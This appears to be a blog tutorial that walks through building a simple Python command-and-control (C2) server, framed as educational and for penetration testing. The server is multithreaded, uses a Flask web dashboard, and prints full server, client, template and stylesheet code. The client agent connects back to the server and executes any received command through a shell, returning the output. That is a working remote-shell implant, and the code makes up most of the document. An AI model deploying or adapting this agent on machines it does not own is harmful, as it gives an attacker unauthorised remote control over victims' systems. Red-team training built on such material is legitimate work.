A Guide to Building Your Own C2 Server — Because Who Doesn’t Want to Play the Villain (Ethically)?
This is Version-1 of our Project. We will be making it better slowly, one pwn at a time 😁
Ever watched a hacker movie where the bad guy types three lines of code, presses enter, and suddenly controls an entire network? Yeah… real hacking is nothing like that. But today, we’re going to get as close as possible — ethically, of course — by building our own Command and Control (C2) server using Python, Flask, and sockets.
Now, before you start practicing your best villainous laugh, let’s be clear: this is for educational and penetration testing purposes only. No hacking your neighbor’s WiFi or taking over your friend’s fridge (yes, IoT is a mess).
In this guide, we’ll build a fully functional multithreaded C2 framework that can:
- Control multiple agents remotely
- Execute commands on client machines
- Receive command output in a web-based UI
By the end of this tutorial, you’ll have the ultimate tool for ethical hacking, red teaming, or just flexing on your cybersecurity classmates.
This is our first version of our C2 and I hope to make it better in the future!
Let’s get started!
Understanding the C2 Architecture
A Command and Control (C2) server is a centralized system used to manage multiple “agents” (compromised machines or controlled clients). It typically consists of:
- A server that listens for incoming connections from clients
- Clients (agents) that connect back to the server and execute commands
- A web-based dashboard for monitoring and controlling the agents
Since single-threaded servers are as slow as dial-up internet, we’ll implement multithreading to handle multiple agents simultaneously.
Structuring our Project:
Here’s how we will structure our Project
Building the C2 Server
The Multithreaded Server — Because One Thread Just Isn’t Enough
A traditional server handles one client at a time — if another client tries to connect, it has to wait. That’s unacceptable for a real-world C2 framework. We’ll use Python’s threading
module to create a multithreaded server that can handle multiple connections at once.
Here’s the basic server code:
import threading
import socket
import time
# Server Configuration
ip_address = '127.0.0.1'
port_number = 1234
THREADS = []
IPS = []
CMD_INPUT = []
CMD_OUTPUT = []
# Predefine slots for 20 clients
for _ in range(20):
CMD_INPUT.append('')
CMD_OUTPUT.append('')
IPS.append('')
# Function to handle a client
def handle_connection(connection, address, thread_index):
global CMD_INPUT, CMD_OUTPUT
IPS[thread_index] = address[0] # Store client IP
print(f"[+] Agent {thread_index+1} connected from {address}")
while True:
try:
# Wait for a command from Flask
while CMD_INPUT[thread_index] == '':
time.sleep(1)
# Send command to client
command = CMD_INPUT[thread_index]
CMD_INPUT[thread_index] = ''
print(f"[*] Sending command to Agent {thread_index+1}: {command}")
connection.send(command.encode())
# Receive command output
output = connection.recv(4096).decode()
CMD_OUTPUT[thread_index] = output
print(f"[+] Output from Agent {thread_index+1}: {CMD_OUTPUT[thread_index]}")
except (ConnectionResetError, BrokenPipeError):
print(f"[-] Connection lost with Agent {thread_index+1}")
IPS[thread_index] = ''
CMD_INPUT[thread_index] = ''
CMD_OUTPUT[thread_index] = ''
break
connection.close()
# Start server
def start_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((ip_address, port_number))
server_socket.listen(5)
print(f"[+] C2 Server listening on {ip_address}:{port_number}")
while True:
connection, address = server_socket.accept()
print(f"[+] Connection from {address}")
thread_index = len(THREADS)
t = threading.Thread(target=handle_connection, args=(connection, address, thread_index), daemon=True)
THREADS.append(t)
t.start()
if __name__ == "__main__":
start_server()
How It Works
- The server listens for incoming connections on
127.0.0.1:1234
. - When a client connects, a new thread is created to handle it.
Now, let’s build a client to connect to this server — because a lonely C2 server is just sad :((
Creating the Client — Your Agent in the Field
Our client will:
- Connect to the server
- Send and receive messages
- Execute remote commands
Here’s the client code:
import socket
import subprocess
server_ip = '127.0.0.1'
server_port = 1234
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_ip, server_port))
print("[+] Connected to C2 Server.")
while True:
try:
# Receive command from C2 server
command = client_socket.recv(1024).decode()
print(f"[*] Received command: {command}")
if command.lower() == 'quit':
break
# Execute the command
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
except subprocess.CalledProcessError as e:
output = e.output
if not output:
output = "[+] Command executed, but no output."
# Send command output back to server
print(f"[*] Sending output: {output}")
client_socket.send(output.encode())
except ConnectionResetError:
print("[-] Connection lost. Exiting...")
break
client_socket.close()
This connects to the server and allows you to send commands. It’s simple, but effective — like a digital walkie-talkie for hackers.
Building a Flask Web Dashboard
Let’s add Flask for remote C2 control. Making things fancy is what I like!
Web Dashboard — web.py:
from flask import Flask, render_template, request
import threading
import time
import server # Importing the C2 server script
app = Flask(__name__)
@app.before_first_request
def init_server():
print("[+] Starting C2 server...")
server_thread = threading.Thread(target=server.start_server, daemon=True)
server_thread.start()
@app.route("/")
def home():
return render_template('index.html', threads=server.THREADS, ips=server.IPS)
@app.route("/<string:agentname>/executecmd")
def executecmd(agentname):
return render_template('execute.html', name=agentname)
@app.route("/<string:agentname>/execute", methods=['POST'])
def execute(agentname):
if request.method == 'POST':
cmd = request.form['command']
req_index = None
for i in range(len(server.IPS)):
if server.IPS[i] and agentname == f"Agent {i+1}":
req_index = i
break
if req_index is not None:
print(f"[*] Sending command to Agent {req_index+1}: {cmd}")
server.CMD_INPUT[req_index] = cmd # Send command to agent
time.sleep(2) # Wait for response
cmdoutput = server.CMD_OUTPUT[req_index] # Retrieve output
server.CMD_OUTPUT[req_index] = '' # Reset output after displaying it
else:
cmdoutput = "Agent not found."
return render_template('execute.html', cmdoutput=cmdoutput, name=agentname)
if __name__ == "__main__":
app.run(debug=True)
Now, you can control your C2 server via a browser — which is perfect for looking cool in front of your cybersecurity peers.
We build an index.html to go hand in hand with our Web Dashboard code. This index.html will have a “control” button which will let us interact with the connected agent of our choice.
Here is the index.html code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>C2 Server Dashboard</title>
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<h1>🛡️ C2 Server Dashboard 🛡️</h1>
<h2>Connected Agents</h2>
<table>
<tr>
<th>Agent ID</th>
<th>IP Address</th>
<th>Action</th>
</tr>
{% for i in range(threads|length) %}
<tr>
<td>Agent {{ i+1 }}</td>
<td>{{ ips[i] }}</td>
<td>
<a href="{{ url_for('executecmd', agentname='Agent ' ~ (i+1)|string) }}">
<button>Control</button>
</a>
</td>
</tr>
{% endfor %}
</table>
</body>
</html>
Now, to keep things organised and clean, we will create a separate page to execute those nasty commands! This is where our execute.html page shines through!
Here is the code for Execute.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Execute Command</title>
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<h1>Execute Command on {{ name }}</h1>
<form action="{{ url_for('execute', agentname=name) }}" method="POST">
<input type="text" name="command" placeholder="Enter Command" required>
<button type="submit">Run</button>
</form>
{% if cmdoutput %}
<div>
<h3>Output:</h3>
<pre>{{ cmdoutput }}</pre>
</div>
{% endif %}
</body>
</html>
Adding some style to the output.
Style.css code:
body {
font-family: Arial, sans-serif;
background-color: #1e1e2f;
color: white;
text-align: center;
margin: 0;
padding: 20px;
}
button {
background-color: #00ff99;
border: none;
cursor: pointer;
margin-left: 10px;
}
button:hover {
background-color: #00cc77;
}
Now, it’s time to fire up your engines!
Running Your C2 Server
- Start the server:
python web.py
2. Run Multiple Clients:
You can open 2 different terminal or CMD windows and run your client command in both of them.
python client.py
Once you run the command, and refresh the website, you will be able to see:
2 Agents are connected to your server!
3. Click and Control:
Now you can simply click on the “Control” button and then get things rolling!
If you want to control Agent 2, you can head back to the index.html page and again click and control!
You Now Have a C2 Server
Congratulations, you’ve built your own multithreaded, Flask-powered C2 server!
- Handles multiple clients
- Has a neat web-based UI
- Makes you feel like a H4CK3R !
What’s next?
- Add encryption for secure communication
- Implement authentication
- Add database logging
- File transfers
And much more!
I hope to continue this series of building a better, more robust Command and Control server as we progress forward.
Until then, Namaste!